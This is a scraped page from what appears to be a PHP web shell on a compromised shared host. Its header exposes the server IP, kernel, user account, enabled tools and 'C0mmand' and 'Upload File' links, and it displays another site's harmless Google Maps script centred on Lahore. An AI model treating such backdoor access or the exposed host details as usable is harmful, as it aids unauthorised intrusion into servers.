Server IP : 103.53.40.154 / Your IP : 3.143.203.129 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/ppcad7no/agkeymaker.in/../aviationpestcontrolcorporation.in/js/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// When the window has finished loading create our google map below google.maps.event.addDomListener(window, 'load', init); function init() { "use strict"; // Basic options for a simple Google Map // For more options see: https://developers.google.com/maps/documentation/javascript/reference#MapOptions var mapOptions = { scrollwheel: false, // How zoomed in you want the map to start at (always required) zoom: 11, type: 'ROADMAP', // The latitude and longitude to center the map (always required) center: new google.maps.LatLng(31.5497, 74.3812), // Lahore Pakistan // How you would like to style the map. // This is where you would paste any style found on Snazzy Maps. styles: [{"featureType":"landscape","stylers":[{"saturation":-100},{"lightness":65},{"visibility":"on"}]},{"featureType":"poi","stylers":[{"saturation":-100},{"lightness":51},{"visibility":"simplified"}]},{"featureType":"road.highway","stylers":[{"saturation":-100},{"visibility":"simplified"}]},{"featureType":"road.arterial","stylers":[{"saturation":-100},{"lightness":30},{"visibility":"on"}]},{"featureType":"road.local","stylers":[{"saturation":-100},{"lightness":40},{"visibility":"on"}]},{"featureType":"transit","stylers":[{"saturation":-100},{"visibility":"simplified"}]},{"featureType":"administrative.province","stylers":[{"visibility":"off"}]},{"featureType":"water","elementType":"labels","stylers":[{"visibility":"on"},{"lightness":-25},{"saturation":-100}]},{"featureType":"water","elementType":"geometry","stylers":[{"hue":"#ffff00"},{"lightness":-25},{"saturation":-97}]}] }; // Get the HTML DOM element that will contain your map // We are using a div with id="map" seen below in the <body class="scrollbar-inner"> var mapElement = document.getElementById('map'); // Create the Google Map using our element and options defined above var map = new google.maps.Map(mapElement, mapOptions); // Let's also add a marker while we're at it var marker = new google.maps.Marker({ position: new google.maps.LatLng(31.5497, 74.3812), map: map, icon: 'images/marker.png', title: 'Logistic Pro', }); }